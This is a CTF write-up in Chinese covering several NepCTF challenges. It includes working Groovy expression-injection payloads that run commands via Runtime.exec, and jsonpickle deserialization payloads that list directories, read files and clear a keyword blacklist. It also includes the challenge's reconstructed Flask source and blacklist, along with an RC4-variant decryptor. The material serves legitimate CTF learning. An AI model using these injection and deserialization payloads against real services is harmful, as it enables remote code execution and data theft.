感觉我能做出来的大家应该也都没问题,那就简单写写主要思路,后面的复现我会详细的去说
web
easyGooGooVVVY
简单了解一下反射机制与groovy表达式注入
payload
return "".class
.forName("java.lang.Runtime")
.getMethod("getRuntime", [] as Class[])
.invoke(null, null)
.exec("env")
.inputStream.text
RevengeGooGooVVVY
审了一下附件,自己重构的payload打不过去,后来发现第一题的payload也可以过关
return "".class
.forName("java.lang.Runtime")
.getMethod("getRuntime", [] as Class[])
.invoke(null, null)
.exec("env")
.inputStream.text
JavaSeri
看到cookie是rememberMe,就知道是shiro
用工具去一把梭了
Re
realme
附件丢给ChatGPT分析一下,自己再分析一下,应该是打热补丁和变种rc4
解决热补丁之后变种rc4模板直接套
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#define N 256
#define FLAG_LEN 35
const char *Str = "Y0u_Can't_F1nd_Me!";
const uint8_t v7[FLAG_LEN] = {
'P','Y',162,148,46,142,92,149,121,22,
229,54,96,199,232,6,51,120,240,208,
54,200,115,27,101,64,181,212,232,156,
101,244,186,98,208
};
void ksa_mod(uint8_t S[N]) {
int v6 = 0;
for (int i = 0; i < N; i++) {
S[i] = (uint8_t)(i ^ 0xCF);
}
for (int i = 0; i < N; i++) {
uint8_t k = (uint8_t)Str[i % strlen(Str)];
v6 = (v6 + k + S[i]) & 0xFF;
uint8_t tmp = S[i];
S[i] = S[v6];
S[v6] = tmp ^ 0xAD;
}
}
void decrypt(uint8_t S[N], const uint8_t cipher[FLAG_LEN], char out[FLAG_LEN+1]) {
int v9 = 0, v8 = 0;
for (int i = 0; i < FLAG_LEN; i++) {
v9 = (v9 + 1) & 0xFF;
v8 = (v8 + v9 * S[v9]) & 0xFF;
uint8_t tmp = S[v9];
S[v9] = S[v8];
S[v8] = tmp;
int v4 = (S[v8] + S[v9]) & 0xFF;
uint8_t c = cipher[i];
uint8_t p;
if (i & 1) {
// 奇数位 c = p + S[v4] -> p = c - S[v4]
p = (uint8_t)(c - S[v4]);
} else {
// 偶数位 c = p - S[v4] -> p = c + S[v4]
p = (uint8_t)(c + S[v4]);
}
out[i] = (char)p;
}
out[FLAG_LEN] = '\0';
}
int main(void) {
uint8_t S[N];
char flag[FLAG_LEN+1];
ksa_mod(S);
decrypt(S, v7, flag);
printf("%s", flag);
return 0;
}
Misc
NepBotEvent
稍微了解一下keylogger,然后知道应该是把键盘事件写入这个Linux内核文件里了
丢给ChatGPT分析即可
客服小美
用户名和木马地址都很好找,C2服务器很明显只有一条ip,ctftools工具箱一把梭了
后续要分析泄漏信息,把流量包交到CTF-NetA工具中,发现CS流量,上网找文章和脚本按步骤解密即可
一开始本来分离出了流量包中的stage文件,但是不知道为什么一直打不通
后面看到了这篇文章,想到题目既然给了,那应该要用进程内存解密
https://geekdaxue.co/read/jianouzuihuai@tools/cs_decrypt
SpeedMino
她高中的时候送我过一台小游戏机,只能玩俄罗斯方块的那种。今天重新见到俄罗斯方块,不禁怀念起那个时候。
或许是为了缅怀逝去的青春吧,我决定自己打到2600分,一次又一次的尝试,恍惚间我似乎忘记了flag的事情,似乎我只要一直打下去,就能回到那个夏天
当我回过神来,生活只剩下遍地狼藉,空落落的怀里,不见了那台小游戏机
(最后我是ce开倍速精灵开到100000倍速秒过的,青春过去的总是很快,暗自神伤时,总会想起那一句:往事总在回忆中被赋予意义;这张语文卷,似乎也是我青春的仓促谢幕吧)
最后想想讲讲自己的青春,或许也算得上是有趣吧
复现
(主要讲我自己的感受,学习的话还得看拉蒙特徐的博客)
safe_bank
这题我一直在蒸,虽然成功读到了源码,但是看到黑名单的那一刻我真的绝望了啊
- 测试
一眼就知道cookie有猫腻,改成admin发包之后发现只有假flag,查看了关于我们,应该是要打jsonpickle反序列化
稍微学习一些关于jsonpickle反序列化的知识,我贴两篇具体文章
https://xz.aliyun.com/news/16133
https://sugarp1g.github.io/2022/01/18/jsonpickle/
大概了解一下流程与操作
接下来看看注入点
我们的cookie解base64之后是
{"py/object": "__main__.Session", "meta": {"user": "admin#", "ts": 1753669872}}
时间戳这玩意纯假的,我随便贴都能过,说明后端是没什么校验的
那只能在admin处存在注入点了
- 读源码
按照文章中的payload一个个去尝试
https://xz.aliyun.com/news/16133
我基本上测了一圈,全部被ban,当时真的是要绝望了啊
(其实这里应该立马关注到py/object这条链子,因为cookie里就有object,普通的cookie可不会被过滤啊)
后面看到这两条,前面我已经测过os会被ban,于是就试了一下glob.glob这条链子
{'py/object': 'glob.glob', 'py/newargs': {'/*'}}
{'py/object': 'os.listdir', 'py/newargs': ['/']}
发现了这条链子没被过滤,但是也没有被执行
然后自己去改了一下,通过我贴的文章,大致可以了解到py/newargs和py/newargsex两者的区别(详细的可以看拉蒙特徐的博客)
那就把py/newargs改成py/newargsex
然后发现不起作用,我之前有过这方面的经验,感觉上应该是单引号和双引号的问题,于是把单引号改为双引号
OK这下是过了,但是报错了(但这起码说明了我们引号是改对了)
(以下是错误的payload)
{"py/object": "__main__.Session", "meta": {"user": {"py/object": "glob.glob", "py/newargsex": {'/*'}}, "ts": 1753669872}}

深入的去学习了一下newargs和newargsex之间的差别,再问了一下ChatGPT,应该是py/newargsex对应的参数结构不对,我就让AI生成了一个,最后结合我们之前已经测出来的部分黑名单,写出正确的payload
{
"py/object": "__main__.Session",
"meta": {
"user": {
"py/object": "glob.glob",
"py/newargsex": [
{
"py/set": ["/*"]
},
""
]
},
"ts": 1753669872
}
}
成功读取
注意到/readflag
{'py/object': 'linecache.getlines', 'py/newargs': ['/flag']}
就用这条payload来读文件
按照上面列目录的方法来改这条payload
发现成功读取,那么我们把源码交给AI整理一下
from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle
import base64
import json
import os
import time
app = Flask(__name__)
app.secret_key = os.urandom(24)
# ---- 数据模型 ----
class Account:
def __init__(self, uid, pwd):
self.uid = uid
self.pwd = pwd
class Session:
def __init__(self, meta):
self.meta = meta
# ---- 模拟数据库 ----
users_db = [
Account("admin", os.urandom(16).hex()),
Account("guest", "guest")
]
def register_user(username, password):
for acc in users_db:
if acc.uid == username:
return False
users_db.append(Account(username, password))
return True
# ---- WAF 规则 ----
FORBIDDEN = [
'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
'__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__',
'pydoc', '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]
def waf(serialized: str):
"""
简单的关键字过滤:只要 payload 中出现禁止词就返回该词,否则返回 None。
"""
try:
data = json.loads(serialized)
payload = json.dumps(data, ensure_ascii=False)
for bad in FORBIDDEN:
if bad in payload:
return bad
return None
except Exception:
return "error"
# ---- 路由定义 ----
@app.route('/')
def root():
return render_template('index.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
confirm_password = request.form.get('confirm_password')
if not username or not password or not confirm_password:
return render_template('register.html', error="所有字段都是必填的。")
if password != confirm_password:
return render_template('register.html', error="密码不匹配。")
if len(username) < 4 or len(password) < 6:
return render_template('register.html', error="用户名至少需要4个字符,密码至少需要6个字符。")
if register_user(username, password):
return render_template('index.html', message="注册成功!请登录。")
else:
return render_template('register.html', error="用户名已存在。")
return render_template('register.html')
@app.post('/auth')
def auth():
u = request.form.get("u")
p = request.form.get("p")
for acc in users_db:
if acc.uid == u and acc.pwd == p:
sess_data = Session({'user': u, 'ts': int(time.time())})
token_raw = jsonpickle.encode(sess_data)
b64_token = base64.b64encode(token_raw.encode()).decode()
resp = make_response("登录成功。")
resp.set_cookie("authz", b64_token)
resp.status_code = 302
resp.headers['Location'] = '/panel'
return resp
return render_template('index.html', error="登录失败。用户名或密码无效。")
@app.route('/panel')
def panel():
token = request.cookies.get("authz")
if not token:
return redirect(url_for('root', error="缺少Token。"))
try:
decoded = base64.b64decode(token).decode()
except Exception:
return render_template('error.html', error="Token格式错误。")
ban = waf(decoded)
if ban:
return render_template('error.html', error=f"请不要黑客攻击!{ban}")
try:
sess_obj = jsonpickle.decode(decoded, safe=True)
meta = sess_obj.meta
if meta.get("user") != "admin":
return render_template('user_panel.html', username=meta.get('user'))
return render_template('admin_panel.html')
except Exception:
return render_template('error.html', error="数据解码失败。")
@app.route('/vault')
def vault():
token = request.cookies.get("authz")
if not token:
return redirect(url_for('root'))
try:
decoded = base64.b64decode(token).decode()
if waf(decoded):
return render_template('error.html', error="请不要尝试黑客攻击!")
sess_obj = jsonpickle.decode(decoded, safe=True)
meta = sess_obj.meta
if meta.get("user") != "admin":
return render_template('error.html', error="访问被拒绝。只有管理员才能查看此页面。")
flag = "NepCTF{fake_flag_this_is_not_the_real_one}"
return render_template('vault.html', flag=flag)
except Exception:
return redirect(url_for('root'))
@app.route('/about')
def about():
return render_template('about.html')
# ---- 启动 ----
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)
注意看黑名单
FORBIDDEN = [
'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
'__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__',
'pydoc', '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]
笑死我了根本打不动一点,我学到的链子基本上都要靠这其中的两种到三种方法,而且
payload = json.dumps(data, ensure_ascii=False)
unicode编码绕过也行不通
然后我这题就没做出来
赛后问拉蒙特徐,他的大胆想法直接给我惊呆了
他直接用list.clear()的方法把黑名单给扬了(我哩个大豆)
{"py/object": "__main__.Session", "meta": {"user": {"py/object":"__main__.FORBIDDEN.clear","py/newargs": []},"ts":1753446254}}
在他的博客中也详细的讲到了如何去验证这个poc,我这里就不多说了,大家可以去看他的博客,就在我的友链最上方(真的是恩师啊)
黑名单扬了之后大家就都会做了,这里就不多赘述(主要是这个想法太大胆,我之前从来没有想到过)
补档之预期解
现在是7月18号晚上8点29,群里大家都在聊safe_bank,把黑名单扬了的做法官方说是非预期,然后就有预期解大佬出来现身说法
注意到源码util.py下的某函数
def translate_module_name(module: str) -> str:
"""Rename builtin modules to a consistent module name.
Prefer the more modern naming.
This is used so that references to Python's `builtins` module can
be loaded in both Python 2 and 3. We remap to the "__builtin__"
name and unmap it when importing.
Map the Python2 `exceptions` module to `builtins` because
`builtins` is a superset and contains everything that is
available in `exceptions`, which makes the translation simpler.
See untranslate_module_name() for the reverse operation.
"""
lookup = dict(__builtin__='builtins', exceptions='builtins')
return lookup.get(module, module)
此处为了兼容python2,把exception当成builtins了
再看一下我们上面的黑名单
FORBIDDEN = [
'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
'__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__',
'pydoc', '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]
exception并不在内,那直接构造链子打就行了!!!
(一定要培养强大的代审能力)
那payload手搓都可以了,原理就是exception.eval=builtins.eval
{"py/object": "__main__.Session", "meta": {"user": {"py/object":"exceptions.exec","py/newargsex": ["???"]},"ts":1753706694}}
问号那个地方我一直写不明白,因为我感觉我总是得用到os等关键字,然后去问了下lmtx
666又学到新东西了,好开心